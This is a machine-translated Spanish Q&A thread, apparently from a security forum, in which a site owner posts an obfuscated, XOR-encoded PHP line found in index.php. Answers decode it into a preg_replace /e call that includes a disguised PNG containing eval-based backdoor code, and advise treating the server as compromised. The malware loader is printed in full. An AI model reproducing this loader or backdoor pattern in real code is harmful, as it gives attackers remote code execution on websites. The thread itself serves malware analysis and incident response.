Se encontró un archivo PHP sospechoso y ofuscado. ¿Es esto un intento de pirateo en mi sitio web? [duplicar]

75

Acabo de darme cuenta de que la línea superior de mi archivo index.php se cambió a lo que está debajo.

<?php preg_replace("\xf4\x30\x1f\x161\x42\x45"^"\xd7\xf2","3\x495\xa92\xc0\x7217057\xb43\x6c\x69\x6d\x722\xe17\x67\x86\xc77\x640\x31\x78\x99\x9c0\x4"^"32\x965\x16\xbc\x98\xbf\x134\xd1\x7b\x4b\x84\xf6\xbe53\xa324\x9251\xbb\xb51","6\x30\x2f0\x2\x56\x25\x9a\xf\x6\xec7\xeb\x10\x86\x0445\x57\x53\xf3\x8d\xb9\x5c2\xc5\x97572\x83\x747\x28\x2e\xd1\x36\x7273\x3c\xb2\x1a\x9617\x3b7\xcf77\xb741\xb25\xa6\x3d5576\xd6\x7c"^"2\x581\x12\x552610607\x9b\x22\xdf7\xcc\x9e\xe14\x11244\x73\x2c334\xf8\xe903\xf0\x385\x6e\x54\xb2\x24\x4f0532\xf4\xee\x4d5\x886\xa15\x355\xc3\xd0\xca7\xd5\x5f\xc6\xe04\x55\xb5\x41"); ?>

Esto me parece muy sospechoso, y generalmente sé lo que hace preg_replace . Sin embargo, no sé cómo descifrar el sujeto, el patrón o las cadenas de reemplazo.

¿Alguien puede decirme?

  1. ¿Qué hará realmente este código?
  2. ¿Cómo es posible que un archivo PHP supuestamente bloqueado pueda actualizarse en el servidor?
pregunta Scott 17.02.2016 - 18:17
fuente

5 respuestas

138
  

¿Qué hará realmente este código?

Tiene una puerta trasera que permite la ejecución remota de código

Créditoaborjabporladecodificacióninicial

<?phppreg_replace("#(.+)#ie",
"@include_once(base64_decode(""));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Note esta cadena codificada en base64 que encontramos en el primer archivo:

L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc

Al decodificar esa cadena, apunta a este archivo:

/home4/mitzvahc/public_html/assets/img/logo_small.png

El archivo de "imagen" no es lo que parece ser.

kayge señaló que, obviamente, el archivo está accesible en línea. Así que descargué tu "imagen", que es donde está ocurriendo el hack real. El primer script está intentando cargar el contenido de esa imagen.

Dentro de la imagen simulada, hay dos declaraciones eval() que permiten la ejecución completa de código arbitrario cuando se comprueba $GLOBALS[ooooOOOOo(0)] .

Esto solo sucede si el atacante intenta establecer esa variable. 99% del tiempo cuando ves eval() , todo lo que necesitas saber es que todo el servidor web está comprometido por la ejecución remota de código. Esto es lo que está haciendo:

eval(gzuncompress(base64_decode("evil_payload")));

Por supuesto, ya estaba comprometido a través de algún tipo de explotación , pero esto le da al atacante una puerta trasera confusa en su servidor web al que pueden acceder continuamente, incluso si tuviera que solucionar el problema permitiendo Para escribir archivos en primer lugar.

¿Cuáles son los contenidos maliciosos de gunzip?

  1. Puede verlos aquí .
  2. Dentro de lo anterior, aquí hay otro volcado de codificación (Gracias, Technik Empire )
  3. Technik Empire solo contribuyó enormemente a la eliminación de información de los contenidos en # 2 .
  4. nneonneo lo limpió aún más .

¿Por qué sucede esto?

  

¿Cómo es posible que un archivo PHP supuestamente bloqueado pueda actualizarse en el servidor?

Esto es demasiado amplio para responder sin tener acceso a todo. Es posible que tenga un endurecimiento incorrecto en la instalación de su Sistema de gestión de contenido , o puede haber una vulnerabilidad en algún lugar de su pila web. No me interesa visitar su sitio web teniendo en cuenta lo que está pasando, por lo que puede consultar estos enlaces si forman parte de su CMS:

  1. Lista de verificación de seguridad de Joomla
  2. Endurecimiento de WordPress
  3. Lista de verificación de implementación de Django

Si su CMS no está en la lista, busque las listas de control de seguridad / endurecimiento para su instalación de CMS. Si no está usando un CMS, sino su propio código, entonces es usted quien debe corregir sus agujeros de seguridad.

Puede haber varias razones por las que esto está sucediendo ... pero la conclusión es que: o su host web ha sido pirateado o tiene un exploit en su sitio web que permite a personas malintencionadas insertar código adicional y proporcionarles control total sobre su sitio web ... mientras tanto, están atacando a sus visitantes .

    
respondido por el Mark Buffalo 17.02.2016 - 20:50
fuente
82

La respuesta corta es: si el código fue agregado por alguien que no conoces, entonces es malicioso, realmente no importa lo que haga .

Su servidor se ha visto comprometido y debe realizar una limpieza completa.

En cuanto a cómo se agregó, no hay forma de que podamos saberlo sin una investigación completa de su servidor.

    
respondido por el schroeder 17.02.2016 - 18:56
fuente
22

Se modificó un archivo PHP, por lo que ha encontrado mucho más que un intento de piratería .

La máquina está comprometida .

Necesitas una instalación de sistema operativo limpia; y para volver a cargar el código de su sitio desde el desarrollo (o alguna otra copia de seguridad).

Si tiene tiempo y es paranoico, probablemente valdría la pena considerar que su base de datos podría contener un código de ataque XSS que podría ser desatado en sus usuarios finales.

    
respondido por el trognanders 17.02.2016 - 21:13
fuente
19

Parece que este código ofrece el siguiente código usando el operador XOR en dos cadenas como binarios :

<?php preg_replace("#(.+)#ie", 
"@include_once(base64_decode(""));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Puede probarlo en un caja de arena de PHP . La cadena grande generada anteriormente es una cadena codificada en base64 :

/home4/mitzvahc/public_html/assets/img/logo_small.png

¿Por qué usa preg_replace ? Parece que hay un problema de seguridad que permite la ejecución del código, pero podría ser solo por ofuscación de código.

    
respondido por el borjab 17.02.2016 - 19:30
fuente
0

En este caso, sí, sin embargo, no todos los casos. Sé que algunas personas se encontrarán con esta pregunta, por lo que esta respuesta está dirigida a un público más amplio:

Los hosts web hacen algunas cosas extrañas y he tenido un lote de hosts web. Es posible que desee resolver el archivo temporalmente hasta que haya tenido la oportunidad de llamar a su proveedor de alojamiento web y determinar si tuvieron algo que ver con eso o no.

Aparentemente hay algunas formas de hackear PHP, incluida una que te permite acceder a todo lo que se encuentra en el servidor fuera de la ruta de tu cuenta (en el alojamiento compartido en el ejemplo) y podrías ver el código de otras personas, por lo que es a veces es posible que se pueda piratear su cuenta para ver el código de la cuenta otra , lo cual es otra razón para evitar el alojamiento compartido si se lo puede permitir.

De forma predeterminada, suponga que no es un archivo seguro y mueva o cambie su nombre hasta que pueda confirmar con su servidor web.

    
respondido por el John 19.02.2016 - 00:22
fuente

Lea otras preguntas en las etiquetas